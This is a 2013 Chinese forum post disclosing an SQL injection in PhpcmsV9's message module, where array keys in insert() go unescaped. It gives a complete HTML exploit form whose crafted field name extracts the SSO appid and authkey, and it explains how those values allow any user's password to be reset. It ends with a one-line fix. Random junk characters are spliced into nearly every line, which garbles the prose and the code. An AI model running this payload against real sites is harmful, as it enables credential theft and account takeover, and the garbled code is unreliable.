找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2392|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:1 [6 e. g' M% v) t% [9 l
4 w8 y+ Q( W+ \' a) c, b$ S
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
5 x2 Q& C( q( W% u0 i+ Z; ~& L4 g9 Q9 u+ G
明天再更新下一个漏洞。$ K, U0 n. G0 ~7 `" s
详细说明:7 l& q: N& p& e8 P1 G% E! |  h" e+ [. p
在/phpcms9/phpcms/modules/message/index.php中有代码如下:2 G% ^* ~0 R+ B# j8 l
5 [5 b, @1 u' Q! C$ d# N
$messageid = $this->message_db->insert($_POST['info'],true);' }2 M/ ?4 n+ \: ~9 h5 @) E4 S$ U/ X
  H3 G) k  d( |" `
  H$ a/ ~, V# b- \( D7 v( T. Q
insert方法是key value的,代码如下:
: B* ]5 ?3 {: `+ t* h/ E& i5 a4 }- c
public function insert($data, $table, $return_insert_id = false, $replace = false) {) S9 D& F( V# q0 N+ w& T
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
& r/ G1 b3 {* m4 O! o                        return false;7 y! y: g9 h4 J3 g6 m+ R
                }
# q  [& [: c  ^( T* k6 N: W. m( o                % q) c: B, p  D( _
                $fielddata = array_keys($data);1 Y# _& ]. T) y$ \: w/ m* s$ e
                $valuedata = array_values($data);1 R/ i% d7 _, P
                array_walk($fielddata, array($this, 'add_special_char'));
7 ~0 ]6 Q' x3 l* I6 C$ P                array_walk($valuedata, array($this, 'escape_string'));
; C9 v9 z) g* n2 H3 T* a$ W               
) F8 b$ ?6 C7 e$ b  I, B# ^& Y! d                $field = implode (',', $fielddata);
! W. d$ O1 a* ~" {. H2 t                $value = implode (',', $valuedata);
1 ~8 C0 x. Z& ^. y' y9 v
; c* R& ~+ c$ o+ v  Z                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';# T- {' W, L+ Q2 _0 z& [0 y' z5 m
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';: g9 O" h4 c/ s+ J0 c
                $return = $this->execute($sql);
9 D) ?' M8 F; N& D& z& K- |                return $return_insert_id ? $this->insert_id() : $return;
/ Z" c. X& A% X6 l/ O0 b        }4 @5 m& |! O. p4 W& _6 \
" r2 d9 C( c) X) v* j; Y9 G

5 |" e1 M! W' Z嗯,很遗憾的是
4 F) N3 P, E4 I; F7 g9 N. P
/ K4 u$ m, r% a5 Yarray_walk($fielddata, array($this, 'add_special_char'));
" K+ W7 D/ e0 b4 {7 C3 P) O# @% ~8 U# a7 ]( I1 Y% [4 u- |5 K

: q& |- C, K, C8 J- d* w/ a中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。% V; S2 s, j( g. Q7 U- j; w

8 i5 s$ m8 D8 d" \到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。: c0 v, o, H) \9 G6 J0 l9 B# r

9 \9 _7 o8 j. f2 j漏洞证明:
) s' j) u# A" ]. y& N2 y2 Y! s/ f读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。5 |8 H& K7 H6 l; a
$ a$ |9 k9 o5 M+ g; E

9 y  u6 N! I- d0 h- {4 B8 P表单如下:用户名什么的得自己改一改。' O# C1 J8 @0 M9 K+ S% d/ j
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
: B4 R* Q$ i' F) [5 N+ s+ x  Q- z4 Z<table width="100%" cellspacing="0" class="table_form">
9 Q7 ?4 W- |2 J) t# f<tr>$ d- a8 m. g2 `4 A9 \5 J0 i4 U+ _
<th>标 题:</th>
4 f$ R% Q) g9 }$ G  e) I- ^<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
2 Z; n) |% X5 ~, d: F4 D</tr> $ P, z: Y% {! X: a/ I6 F* S9 I
<tr>7 p7 j5 _  }" Y
<th>内 容:</th>2 H( f. Q9 J% v$ a4 _# Z, I1 R/ Z
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
/ Z& z3 ~7 e# P/ m. c</tr>, B8 Q5 }& j4 ~8 _% F
<input type="hidden" name="info[replyid]" value="2" /> / e; K9 E; i/ n! ^8 u* W
<input type="hidden" name="info[send_to_id]" value="cc" /> 1 c' ?; J- r/ a5 d
<input type="hidden" name="info[send_from_id]" value="hh">
- o$ l4 p0 }( J/ w# H<!-- 漏洞的利用重点在这里开始 -->
; I+ t9 W, i/ y: v6 x0 \, {<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
$ ~; B+ p* K. _% o& a- K<!-- 漏洞的利用重点在这里结束 -->
' A- G: V& K. |! s, p* B<tr>
- S& H; W; H" M" D; \<th>验证码:</th>9 k  N8 \0 b* E/ e- s. X, @; k2 X. d
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td># \) Z. P! y$ |
</tr>6 [% u! L' u7 c+ X5 ]
<tr>" Y+ Q& R# M% g" F
<td></td>
" _, s/ x8 E$ u<td colspan="2"><label>6 j  s  D) m8 y* u3 Y0 J  v
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
( w. J% \/ {4 S- y</label></td>
1 E6 l# d5 `- Y2 X</tr>
( [9 @7 }) C( y" Y</table>
! z% A" R5 j+ b3 C5 i% E% K% v7 w</form>6 h9 R, O+ w7 |7 M5 r( G
在add_special_char函数内对key做过滤就可以了。4 ^6 N! h# @$ R, C: a" z

- R3 i6 t, w7 J
! n  Y6 Q/ V: y$ P+ @5 u) @+ h# N8 c' T7 s

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表